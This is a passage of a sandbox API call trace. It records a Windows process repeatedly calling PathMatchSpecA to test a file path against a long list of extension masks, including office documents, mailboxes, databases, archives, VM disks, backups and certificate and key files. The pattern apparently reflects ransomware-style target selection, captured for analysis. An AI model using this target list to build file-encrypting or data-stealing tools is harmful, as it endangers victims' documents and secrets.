(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.qbb") returned 0 [0103.464] lstrlenA (lpString="*.qbb") returned 5 [0103.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.qbm") returned 0 [0103.464] lstrlenA (lpString="*.qbm") returned 5 [0103.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.qbo") returned 0 [0103.464] lstrlenA (lpString="*.qbo") returned 5 [0103.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.qbx") returned 0 [0103.464] lstrlenA (lpString="*.qbx") returned 5 [0103.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.qba") returned 0 [0103.464] lstrlenA (lpString="*.qba") returned 5 [0103.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.qby") returned 0 [0103.464] lstrlenA (lpString="*.qby") returned 5 [0103.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.qbj") returned 0 [0103.464] lstrlenA (lpString="*.qbj") returned 5 [0103.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.ofx") returned 0 [0103.465] lstrlenA (lpString="*.ofx") returned 5 [0103.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.qif") returned 0 [0103.465] lstrlenA (lpString="*.qif") returned 5 [0103.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.mye") returned 0 [0103.465] lstrlenA (lpString="*.mye") returned 5 [0103.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.mbox") returned 0 [0103.465] lstrlenA (lpString="*.mbox") returned 6 [0103.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.eml") returned 0 [0103.465] lstrlenA (lpString="*.eml") returned 5 [0103.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.pst") returned 0 [0103.465] lstrlenA (lpString="*.pst") returned 5 [0103.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.ost") returned 0 [0103.465] lstrlenA (lpString="*.ost") returned 5 [0103.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.idx") returned 0 [0103.465] lstrlenA (lpString="*.idx") returned 5 [0103.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.dbx") returned 0 [0103.465] lstrlenA (lpString="*.dbx") returned 5 [0103.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.sql") returned 0 [0103.465] lstrlenA (lpString="*.sql") returned 5 [0103.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.mdb") returned 0 [0103.465] lstrlenA (lpString="*.mdb") returned 5 [0103.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.fdb") returned 0 [0103.465] lstrlenA (lpString="*.fdb") returned 5 [0103.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.wab") returned 0 [0103.466] lstrlenA (lpString="*.wab") returned 5 [0103.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.dat") returned 0 [0103.466] lstrlenA (lpString="*.dat") returned 5 [0103.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.txt") returned 0 [0103.466] lstrlenA (lpString="*.txt") returned 5 [0103.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.jpeg") returned 0 [0103.466] lstrlenA (lpString="*.jpeg") returned 6 [0103.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.jpg") returned 0 [0103.466] lstrlenA (lpString="*.jpg") returned 5 [0103.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.png") returned 0 [0103.466] lstrlenA (lpString="*.png") returned 5 [0103.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.php") returned 0 [0103.466] lstrlenA (lpString="*.php") returned 5 [0103.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.cs") returned 0 [0103.466] lstrlenA (lpString="*.cs") returned 4 [0103.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.cpp") returned 0 [0103.466] lstrlenA (lpString="*.cpp") returned 5 [0103.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.rar") returned 0 [0103.466] lstrlenA (lpString="*.rar") returned 5 [0103.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.zip") returned 0 [0103.466] lstrlenA (lpString="*.zip") returned 5 [0103.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.html") returned 0 [0103.467] lstrlenA (lpString="*.html") returned 6 [0103.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.htm") returned 0 [0103.467] lstrlenA (lpString="*.htm") returned 5 [0103.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.xlsx") returned 0 [0103.467] lstrlenA (lpString="*.xlsx") returned 6 [0103.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.xls") returned 0 [0103.467] lstrlenA (lpString="*.xls") returned 5 [0103.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.mp4") returned 0 [0103.467] lstrlenA (lpString="*.mp4") returned 5 [0103.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.ppt") returned 0 [0103.467] lstrlenA (lpString="*.ppt") returned 5 [0103.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.pptx") returned 0 [0103.467] lstrlenA (lpString="*.pptx") returned 6 [0103.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.doc") returned 0 [0103.467] lstrlenA (lpString="*.doc") returned 5 [0103.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.dot") returned 0 [0103.467] lstrlenA (lpString="*.dot") returned 5 [0103.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.docx") returned 0 [0103.467] lstrlenA (lpString="*.docx") returned 6 [0103.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.7z") returned 0 [0103.467] lstrlenA (lpString="*.7z") returned 4 [0103.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.tar") returned 0 [0103.468] lstrlenA (lpString="*.tar") returned 5 [0103.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.bz2") returned 0 [0103.468] lstrlenA (lpString="*.bz2") returned 5 [0103.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.gz") returned 0 [0103.468] lstrlenA (lpString="*.gz") returned 4 [0103.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.mkv") returned 0 [0103.468] lstrlenA (lpString="*.mkv") returned 5 [0103.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.eml") returned 0 [0103.468] lstrlenA (lpString="*.eml") returned 5 [0103.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.msg") returned 0 [0103.468] lstrlenA (lpString="*.msg") returned 5 [0103.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.edb") returned 0 [0103.468] lstrlenA (lpString="*.edb") returned 5 [0103.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.accdb") returned 0 [0103.468] lstrlenA (lpString="*.accdb") returned 7 [0103.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.odb") returned 0 [0103.468] lstrlenA (lpString="*.odb") returned 5 [0103.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.java") returned 0 [0103.468] lstrlenA (lpString="*.java") returned 6 [0103.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.asm") returned 0 [0103.469] lstrlenA (lpString="*.asm") returned 5 [0103.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.pfx") returned 0 [0103.469] lstrlenA (lpString="*.pfx") returned 5 [0103.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.pem") returned 0 [0103.469] lstrlenA (lpString="*.pem") returned 5 [0103.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.p12") returned 0 [0103.469] lstrlenA (lpString="*.p12") returned 5 [0103.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.gpg") returned 0 [0103.469] lstrlenA (lpString="*.gpg") returned 5 [0103.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.vsd") returned 0 [0103.469] lstrlenA (lpString="*.vsd") returned 5 [0103.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.odg") returned 0 [0103.469] lstrlenA (lpString="*.odg") returned 5 [0103.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.raw") returned 0 [0103.469] lstrlenA (lpString="*.raw") returned 5 [0103.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.nef") returned 0 [0103.469] lstrlenA (lpString="*.nef") returned 5 [0103.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.svg") returned 0 [0103.469] lstrlenA (lpString="*.svg") returned 5 [0103.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.psd") returned 0 [0103.469] lstrlenA (lpString="*.psd") returned 5 [0103.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.vmx") returned 0 [0103.469] lstrlenA (lpString="*.vmx") returned 5 [0103.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.vmdk") returned 0 [0103.469] lstrlenA (lpString="*.vmdk") returned 6 [0103.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.vdi") returned 0 [0103.470] lstrlenA (lpString="*.vdi") returned 5 [0103.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.lay6") returned 0 [0103.470] lstrlenA (lpString="*.lay6") returned 6 [0103.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.mpeg") returned 0 [0103.470] lstrlenA (lpString="*.mpeg") returned 6 [0103.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.djvu") returned 0 [0103.470] lstrlenA (lpString="*.djvu") returned 6 [0103.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.tiff") returned 0 [0103.470] lstrlenA (lpString="*.tiff") returned 6 [0103.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.backup") returned 0 [0103.470] lstrlenA (lpString="*.backup") returned 8 [0103.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.pdf") returned 0 [0103.470] lstrlenA (lpString="*.pdf") returned 5 [0103.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.cert") returned 0 [0103.470] lstrlenA (lpString="*.cert") returned 6 [0103.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.docm") returned 0 [0103.470] lstrlenA (lpString="*.docm") returned 6 [0103.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.xlsm") returned 0 [0103.470] lstrlenA (lpString="*.xlsm") returned 6 [0103.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.dwg") returned 0 [0103.470] lstrlenA (lpString="*.dwg") returned 5 [0103.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.nd") returned 0 [0103.471] lstrlenA (lpString="*.nd") returned 4 [0103.471] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.tlg") returned 0 [0103.471] lstrlenA (lpString="*.tlg") returned 5 [0103.471] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.lgb") returned 0 [0103.471] lstrlenA (lpString="*.lgb") returned 5 [0103.471] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.mov") returned 0 [0103.471] lstrlenA (lpString="*.mov") returned 5 [0103.471] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.xdw") returned 0 [0103.471] lstrlenA (lpString="*.xdw") returned 5 [0103.471] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.ods") returned 0 [0103.471] lstrlenA (lpString="*.ods") returned 5 [0103.471] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.wav") returned 0 [0103.471] lstrlenA (lpString="*.wav") returned 5 [0103.471] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.mp3") returned 0 [0103.471] lstrlenA (lpString="*.mp3") returned 5 [0103.471] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.aiff") returned 0 [0103.471] lstrlenA (lpString="*.aiff") returned 6 [0103.471] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.flac") returned 0 [0103.471] lstrlenA (lpString="*.flac") returned 6 [0103.471] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.m4a") returned 0 [0103.471] lstrlenA (lpString="*.m4a") returned 5 [0103.471] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.csv") returned 